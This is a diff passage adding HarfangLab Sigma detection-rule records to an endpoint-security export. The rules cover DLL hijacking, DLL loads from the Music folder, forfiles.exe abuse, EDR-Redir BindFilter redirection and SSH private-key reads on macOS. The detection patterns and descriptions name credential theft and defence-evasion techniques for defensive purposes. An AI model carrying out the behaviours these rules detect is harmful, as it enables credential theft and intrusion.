+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wecutil.yml",
+  "content": "title: DLL Hijacking via wecutil.exe\nid: 37b3b3a7-8dd5-4cd9-a998-3a556640ecaa\ndescription: |\n    Detects potential Windows DLL Hijacking via wecutil.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wecutil.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\WecApi.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "37b3b3a7-8dd5-4cd9-a998-3a556640ecaa",
+  "rule_name": "DLL Hijacking via wecutil.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wecutil.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "380b79f2-50c9-423b-adc2-7ed80b4ba020",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088047Z",
+  "creation_date": "2026-03-23T11:45:34.088049Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088053Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_dll_load_from_music_folder.yml",
+  "content": "title: DLL Loaded from Music Folder\nid: 380b79f2-50c9-423b-adc2-7ed80b4ba020\ndescription: |\n    Detects the suspicious loading of a DLL from the Music folder.\n    This folder is an uncommon directory for DLL loading and is often abused by attackers.\n    It is recommended to analyze the DLL as well as the process loading it to look for malicious content or subsequent malicious actions.\nreferences:\n    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2023/03/13\nmodified: 2025/08/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|startswith: '?:\\Users\\\\*\\Music\\'\n\n    exclusion_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Corporation'\n            - 'PIRIFORM SOFTWARE LIMITED' # CCleaner\n            - 'Piriform Software Ltd'     # CCleaner\n            - 'Digital Wave Ltd'          # FreeAudioConverter\n\n    exclusion_landesk:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\LDISCN32.EXE'\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\GatherProducts.exe'\n\n    exclusion_musicbee:\n        ProcessOriginalFileName: 'MusicBee.exe'\n        ProcessCompany: 'Steven Mayall'\n\n    exclusion_audacity:\n        Image|endswith: '\\Audacity.exe'\n        Signature: 'Musecy SM Ltd.'\n\n    exclusion_musescore:\n        Image|endswith: '\\MuseScore*.exe'\n\n    exclusion_recexperts:\n        Image|endswith:\n            - '\\RecExperts.exe'\n            - '\\infoforsetup.exe'\n            - '\\virtualmonitorclient.exe'\n            - '\\ffmpegprobe.exe'\n            - '\\aliyunwrapexe.exe'\n            - '\\firebasefetch.exe'\n        Signature: 'CHENGDU YIWO Tech Development Co., Ltd.'\n\n    exclusion_various_apps:\n        Image|endswith:\n            - '\\xmind.exe'\n            - '\\libreofficeportable\\app\\libreoffice\\program\\soffice.bin'\n            - '\\libreofficeportable\\app\\libreoffice\\program\\soffice.exe'\n\n    exclusion_ditto:\n        ProcessOriginalFileName: 'Ditto'\n        ProcessInternalName: 'CP_Main'\n        ImageLoaded|endswith: '\\Ditto-*\\Ditto\\\\*.dll'\n\n    exclusion_garmin:\n        Image: '?:\\Users\\\\*\\Music\\\\*\\Trainer\\G530SIM.exe'\n        ImageLoaded|endswith: '\\Garmin\\\\*\\Trainer\\\\*.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "380b79f2-50c9-423b-adc2-7ed80b4ba020",
+  "rule_name": "DLL Loaded from Music Folder",
+  "rule_description": "Detects the suspicious loading of a DLL from the Music folder.\nThis folder is an uncommon directory for DLL loading and is often abused by attackers.\nIt is recommended to analyze the DLL as well as the process loading it to look for malicious content or subsequent malicious actions.\n",
+  "rule_creation_date": "2023-03-13",
+  "rule_modified_date": "2025-08-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3814d440-2491-4f45-aa78-9e73ec0e45d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070455Z",
+  "creation_date": "2026-03-23T11:45:34.070457Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070464Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_indirect_command_execution_forfiles.yml",
+  "content": "title: Indirect Command Executed via forfiles.exe\nid: 3814d440-2491-4f45-aa78-9e73ec0e45d2\ndescription: |\n    Detects the execution of the legitimate Windows binary forfiles.exe which is an utility to select files and run a command on them.\n    Attackers may abuse it to bypass security restrictions or to execution malicious actions on whole folders or filesystems.\n    It is recommended to investigate the commmand that was executed and the process reponsible for the execution for forfiles to determine whether this action is legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Forfiles/\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2022/01/21\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Forfiles\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\forfiles.exe'\n        ParentCommandLine|contains|all:\n            - ' /p '\n            - ' /m '\n            - ' /c '\n    exclusion_legitimate_usage:\n        # Batch to delete, copy, move, ... files\n        CommandLine|startswith:\n            - '/c del '\n            - '/c del/q'\n            - '/c copy '\n            - '/c xcopy '\n            - '/c move '\n            - '/c ren '\n            - '/c mklink /D '\n            - '/c erase /F '\n            - '/c rmdir '\n            - '/c echo '\n            - '/c echo.' # winPEAS\n            - '/c rd /s /q ?:'\n            - '/c dir ?:'\n            - '/c dir RMAN_BACKUP_'\n            - '/c dir/S /b ?:'\n            - '/c if TRUE==TRUE rd '\n            - '/c if TRUE==TRUE RMDIR '\n            - '/c if FALSE==TRUE rd /s /q ?:'\n            - '/c if FALSE==TRUE echo '\n            - '/c if TRUE==TRUE echo '\n            - '/c if TRUE==FALSE del '\n            - '/c if FALSE==FALSE echo '\n            - '/c if TRUE==FALSE echo '\n            - '/c if FALSE==FALSE del '\n            - '/c ATTRIB -R -A -S -H ?:'\n            - '/c IF TRUE == TRUE rmdir '\n            - '/c IF TRUE == TRUE rd '\n            - '/c IF TRUE == FALSE rmdir '\n            - '/c IF TRUE == FALSE rd '\n            - '/c IF FALSE == TRUE rmdir '\n            - '/c IF FALSE == TRUE rd '\n\n    exclusion_conhost:\n        Image: '?:\\Windows\\System32\\conhost.exe'  # no conhost in syswow64 apparently\n        # \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1\n        CommandLine|contains|all:\n            - 'conhost.exe'\n            - '0xffffffff'\n\n    exclusion_xcopy:\n        # Sometimes xcopy is called direclty instead of using cmd /c\n        OriginalFileName: \"XCOPY.EXE\"\n\n    exclusion_infectioguardian:\n        Ancestors|contains: '\\ModuleUtils\\InfectioGuardian\\InfectioGuardian.exe|'\n\n    exclusion_legitimate_actions:\n        ParentCommandLine:\n            # Compression\n            - 'forfiles /p * /c cmd /c makecab @path @fname* && echo *@path ... && del @path'\n            - 'forfiles /s * /c cmd /c 7z a @fname* @file'\n            - 'forfiles /p * /c cmd /c *zip.exe *.zip @file'\n            # Archiving\n            - 'forfiles /p * -c cmd /c if @isdir gtr true move @path*'\n            - 'forfiles /p * /c cmd /c dir @file'\n            - 'forfiles /p * /c cmd /c type @file | more'\n            - 'forfiles /p * /c cmd /cdir @path'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n# level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3814d440-2491-4f45-aa78-9e73ec0e45d2",
+  "rule_name": "Indirect Command Executed via forfiles.exe",
+  "rule_description": "Detects the execution of the legitimate Windows binary forfiles.exe which is an utility to select files and run a command on them.\nAttackers may abuse it to bypass security restrictions or to execution malicious actions on whole folders or filesystems.\nIt is recommended to investigate the commmand that was executed and the process reponsible for the execution for forfiles to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2022-01-21",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3827b403-b9e7-486d-bf89-c0024617c3ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624651Z",
+  "creation_date": "2026-03-23T11:45:34.624653Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624657Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zerosalarium.com/2025/10/DR-Redir-Break-EDR-Via-BindLink-Cloud-Filter.html",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_potential_bindfilter_redirection_usage.yml",
+  "content": "title: Potential BindFilter Redirection Usage\nid: 3827b403-b9e7-486d-bf89-c0024617c3ee\ndescription: |\n    Detects the loading of specific DLLs related to BindFilter redirection mechanisms, which may indicate attempts to manipulate Windows filter driver bindings for filesystem redirection.\n    EDR-Redir, a tool developed by TwoSevenOneT, is known to target EDR solutions by using a BindFilter (mini filter bindflt.sys) and the Windows Cloud Filter API (cldflt.sys) to redirect the EDR's working folder to a folder of the attacker's choice.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://www.zerosalarium.com/2025/10/DR-Redir-Break-EDR-Via-BindLink-Cloud-Filter.html\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/11/03\nmodified: 2025/12/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.HackTool.EDR-Redir\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded: '?:\\Windows\\System32\\bindfltapi.dll'\n        ProcessParentImage|contains: '?'\n\n    exclusion_svchost:\n        Image: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_services:\n        Image: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_tiworker:\n        Image: '?:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_*\\TiWorker.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_dismhost:\n        Image:\n            - '?:\\$WinREAgent\\Scratch\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\$WINDOWS.~BT\\Work\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\Windows\\SystemTemp\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\Windows\\System32\\Dism\\DismHost.exe'\n            - '?:\\W10UIuup\\\\????????-????-????-????-????????????\\DismHost.exe'\n\n    exclusion_wuaucltcore:\n        Image: '?:\\Windows\\UUS\\\\*\\wuaucltcore.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_repaircenter:\n        ProcessCommandLine: 'regsvr32.exe /s ?:\\WINDOWS\\system32\\\\*.dll'\n        ProcessParentImage|endswith: '\\Yamicsoft\\RepairCenter.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3827b403-b9e7-486d-bf89-c0024617c3ee",
+  "rule_name": "Potential BindFilter Redirection Usage",
+  "rule_description": "Detects the loading of specific DLLs related to BindFilter redirection mechanisms, which may indicate attempts to manipulate Windows filter driver bindings for filesystem redirection.\nEDR-Redir, a tool developed by TwoSevenOneT, is known to target EDR solutions by using a BindFilter (mini filter bindflt.sys) and the Windows Cloud Filter API (cldflt.sys) to redirect the EDR's working folder to a folder of the attacker's choice.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2025-11-03",
+  "rule_modified_date": "2025-12-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3831a1a6-cce1-43aa-b3f7-73f2c207a8a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607792Z",
+  "creation_date": "2026-03-23T11:45:34.607796Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607803Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/004/"
+  ],
+  "name": "t1552_004_ssh_private_key_read_macos.yml",
+  "content": "title: SSH Private Key Read (macOS)\nid: 3831a1a6-cce1-43aa-b3f7-73f2c207a8a4\ndescription: |\n    Detects an attempt to read the content of an SSH private key.\n    The private key is the most important and secretive piece of data used when connecting to a remote host via SSH.\n    An attacker can read the SSH private keys available on a compromised system to connect to other remote hosts and impersonate an existing user or service.\n    It is recommended to verify if the process performing the read operation has legitimate reason to do it.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/004/\ndate: 2024/06/18\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.004\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Path: '/Users/*/.ssh/*'\n        ProcessImage|contains: '?'\n\n    selection_read_access:\n        Kind: 'read'\n\n    filter_ssh:\n        Image:\n            - '/usr/bin/ssh'\n            - '/usr/bin/sshd'\n            - '/usr/sbin/sshd'\n            - '/usr/bin/ssh-keygen'\n            - '/usr/bin/ssh-add'\n            - '/opt/homebrew/Cellar/openssh/*/bin/ssh'\n\n    filter_benign:\n        Path|endswith:\n            - '/authorized_keys*'\n            - '.pub'\n            - 'config'\n            - 'known_hosts'\n            - '/.ssh/config'\n            - '/.ssh/config-sb*'\n            - '/env*'\n\n    exclusion_common_folders:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/*/?/AppTranslocation/'\n            - '/nix/'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_misc:\n        Image|endswith:\n            - '/python*'\n            - '/ruby'\n            - '/usr/bin/pico'\n            - '/usr/bin/vim'\n\n    exclusion_virtualmachine:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    exclusion_cyberduck:\n        Image: '/Applications/Cyberduck.app/Contents/MacOS/Cyberduck'\n\n    exclusion_dbeaver:\n        Image: '/Users/*/Applications/DBeaver.app/Contents/MacOS/dbeaver'\n\n    exclusion_xcode:\n        Image:\n            - '/Applications/Xcode*.app/Contents/SharedFrameworks/DVTSourceControl.framework/Versions/A/XPCServices/com.apple.dt.Xcode.sourcecontrol.Git.xpc/Contents/MacOS/com.apple.dt.Xcode.sourcecontrol.Git'\n            - '/Applications/Xcode*.app/Contents/SharedFrameworks/DVTSourceControl.framework/Versions/A/XPCServices/com.apple.dt.Xcode.sourcecontrol.SSHHelper.xpc/Contents/MacOS/com.apple.dt.Xcode.sourcecontrol.SSHHelper'\n    exclusion_tabletops:\n        Image: '/Applications/TablePlus.app/Contents/MacOS/TablePlus'\n\n    exclusion_docker:\n        Image: '/Applications/Docker.app/Contents/MacOS/com.docker.backend'\n\n    exclusion_filezilla:\n        Image:\n            - '/Applications/FileZilla.app/Contents/MacOS/fzputtygen'\n            - '/Applications/FileZilla.app/Contents/MacOS/fzsftp'\n            - '/Users/*/Downloads/FileZilla 2.app/Contents/MacOS/fzsftp'\n\n    exclusion_git_misc_app:\n        Image:\n            - '/Applications/GitKraken.app/Contents/Frameworks/GitKraken Helper (Renderer).app/Contents/MacOS/GitKraken Helper (Renderer)'\n            - '/Applications/GitHub Desktop.app/Contents/Frameworks/GitHub Desktop Helper (Renderer).app/Contents/MacOS/GitHub Desktop Helper (Renderer)'\n\n    exclusion_flintrock:\n        Image|endswith:\n            - '/flintrock-*-standalone-macOS-arm64/flintrock'\n            - '/usr/local/bin/flintrock'\n\n    exclusion_vanta:\n        Image: '/usr/local/vanta/osqueryd'\n\n    exclusion_rider:\n        Image: '/Applications/Rider.app/Contents/MacOS/rider'\n\n    exclusion_homebrew:\n        Image|startswith: '/opt/homebrew/'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    exclusion_textedit:\n        Image: '/System/Applications/TextEdit.app/Contents/MacOS/TextEdit'\n\n    exclusion_ssh:\n        Image:\n            - '/usr/bin/ssh'\n            - '/usr/local/Cellar/openssh/*/bin/ssh'\n\n    exclusion_haxm:\n        Image: '/usr/local/haxm/*/haxm'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'Agent_final'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3831a1a6-cce1-43aa-b3f7-73f2c207a8a4",
+  "rule_name": "SSH Private Key Read (macOS)",
+  "rule_description": "Detects an attempt to read the content of an SSH private key.\nThe private key is the most important and secretive piece of data used when connecting to a remote host via SSH.\nAn attacker can read the SSH private keys available on a compromised system to connect to other remote hosts and impersonate an existing user or service.\nIt is recommended to verify if the process performing the read operation has legitimate reason to do it.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "386d04d2-1f3a-463b-a003-5ef7c4109f79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
